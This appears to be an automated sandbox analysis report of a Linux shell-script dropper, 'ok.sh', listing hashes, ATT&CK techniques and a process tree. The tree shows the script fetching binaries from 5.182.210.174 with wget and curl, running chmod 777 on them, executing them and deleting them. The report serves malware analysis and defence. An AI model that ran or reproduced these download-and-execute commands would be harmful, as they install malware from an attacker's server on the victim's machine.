1469a7931d3da0258753eb7e758e08126895ccdb942d5e2dd3ed7a5e0889faf1

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/08/2026, 04:31

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General

Target
ok.sh
Size 1KB
Sample260828-e5g1tssyes
SHA256 1469a7931d3da0258753eb7e758e08126895ccdb942d5e2dd3ed7a5e0889faf1
MD5 bb17a9892cff44d80c98630133c5a335
SHA1 58724066706c9c83364c286b1c12cc66555d4674
SHA512 3eb2d8efb5cfa2ea2ee1e52fa0338872b1f2ad251660ed412bda29adb449ee854e1f4e76580d79a5795e76d2693a0f4199fa4c5bf34d441539e6dfc4c237fe98
TLSH
T1043130DE541169311102CE8F73A3364CB19EB2FB2C4FD7E099590EA986883DCF162B5D
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
684	chmod
716	chmod
757	chmod
781	chmod
806	chmod
815	chmod
829	chmod
677	chmod
691	chmod
745	chmod
764	chmod
822	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/a2b412	678	ok.sh
/tmp/cc6fbf	685	ok.sh
/tmp/3776c6	694	ok.sh
/tmp/4e8b0d	718	ok.sh
/tmp/d4681f	747	ok.sh
/tmp/b553c7	758	ok.sh
/tmp/d1d1a3	765	ok.sh
/tmp/a68e38	783	ok.sh
/tmp/c16ea7	808	ok.sh
/tmp/057ea5	816	ok.sh
/tmp/ea6cf7	823	ok.sh
/tmp/da830c	830	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d1d1a3	curl
File opened for modification	/tmp/a68e38	curl
File opened for modification	/tmp/ea6cf7	curl
File opened for modification	/tmp/da830c	curl
File opened for modification	/tmp/a2b412	curl
File opened for modification	/tmp/4e8b0d	curl
File opened for modification	/tmp/d4681f	curl
File opened for modification	/tmp/c16ea7	curl
File opened for modification	/tmp/057ea5	curl
File opened for modification	/tmp/cc6fbf	curl
File opened for modification	/tmp/3776c6	curl
File opened for modification	/tmp/b553c7	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:648
- /usr/bin/wget
  wget http://5.182.210.174/a2b412
  2⤵
  PID:653
- /usr/bin/curl
  curl -O http://5.182.210.174/a2b412
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:671
- /bin/chmod
  chmod 777 a2b412
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/a2b412
  ./a2b412 bc
  2⤵
  PID:678
- /bin/rm
  rm -rf a2b412
  2⤵
  PID:680
- /bin/rm
  rm -rf a2b412.1
  2⤵
  PID:681
- /usr/bin/wget
  wget http://5.182.210.174/cc6fbf
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://5.182.210.174/cc6fbf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 cc6fbf
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/cc6fbf
  ./cc6fbf bc
  2⤵
  PID:685
- /bin/rm
  rm -rf cc6fbf
  2⤵
  PID:687
- /bin/rm
  rm -rf cc6fbf.1
  2⤵
  PID:688
- /usr/bin/wget
  wget http://5.182.210.174/3776c6
  2⤵
  PID:689
- /usr/bin/curl
  curl -O http://5.182.210.174/3776c6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 3776c6
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/3776c6
  ./3776c6 bc
  2⤵
  PID:694
- /bin/rm
  rm -rf 3776c6
  2⤵
  PID:696
- /bin/rm
  rm -rf 3776c6.1
  2⤵
  PID:697
- /usr/bin/wget
  wget http://5.182.210.174/4e8b0d
  2⤵
  PID:699
- /usr/bin/curl
  curl -O http://5.182.210.174/4e8b0d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod 777 4e8b0d
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/4e8b0d
  ./4e8b0d bc
  2⤵
  PID:718
- /bin/rm
  rm -rf 4e8b0d
  2⤵
  PID:721
- /bin/rm
  rm -rf 4e8b0d.1
  2⤵
  PID:722
- /usr/bin/wget
  wget http://5.182.210.174/d4681f
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://5.182.210.174/d4681f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 d4681f
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/d4681f
  ./d4681f bc
  2⤵
  PID:747
- /bin/rm
  rm -rf d4681f
  2⤵
  PID:751
- /bin/rm
  rm -rf d4681f.1
  2⤵
  PID:752
- /usr/bin/wget
  wget http://5.182.210.174/b553c7
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://5.182.210.174/b553c7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 b553c7
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/b553c7
  ./b553c7 bc
  2⤵
  PID:758
- /bin/rm
  rm -rf b553c7
  2⤵
  PID:760
- /bin/rm
  rm -rf b553c7.1
  2⤵
  PID:761
- /usr/bin/wget
  wget http://5.182.210.174/d1d1a3
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://5.182.210.174/d1d1a3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 d1d1a3
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/d1d1a3
  ./d1d1a3 bc
  2⤵
  PID:765
- /bin/rm
  rm -rf d1d1a3
  2⤵
  PID:767
- /bin/rm
  rm -rf d1d1a3.1
  2⤵
  PID:768
- /usr/bin/wget
  wget http://5.182.210.174/a68e38
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://5.182.210.174/a68e38
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 a68e38
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/a68e38
  ./a68e38 bc
  2⤵
  PID:783
- /bin/rm
  rm -rf a68e38
  2⤵
  PID:786
- /bin/rm
  rm -rf a68e38.1
  2⤵
  PID:787
- /usr/bin/wget
  wget http://5.182.210.174/c16ea7
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://5.182.210.174/c16ea7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 c16ea7
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/c16ea7
  ./c16ea7 bc
  2⤵
  PID:808
- /bin/rm
  rm -rf c16ea7
  2⤵
  PID:811
- /bin/rm
  rm -rf c16ea7.1
  2⤵
  PID:812
- /usr/bin/wget
  wget http://5.182.210.174/057ea5
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://5.182.210.174/057ea5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 057ea5
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/057ea5
  ./057ea5 bc
  2⤵
  PID:816
- /bin/rm
  rm -rf 057ea5
  2⤵
  PID:818
- /bin/rm
  rm -rf 057ea5.1
  2⤵
  PID:819
- /usr/bin/wget
  wget http://5.182.210.174/ea6cf7
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://5.182.210.174/ea6cf7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 ea6cf7
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/ea6cf7
  ./ea6cf7 bc
  2⤵
  PID:823
- /bin/rm
  rm -rf ea6cf7
  2⤵
  PID:825
- /bin/rm
  rm -rf ea6cf7.1
  2⤵
  PID:826
- /usr/bin/wget
  wget http://5.182.210.174/da830c
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://5.182.210.174/da830c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod 777 da830c
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/da830c
  ./da830c bc
  2⤵
  PID:830
- /bin/rm
  rm -rf da830c
  2⤵
  PID:832
- /bin/rm
  rm -rf da830c.1
  2⤵
  PID:833

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

a2b412

Path /tmp/a2b412
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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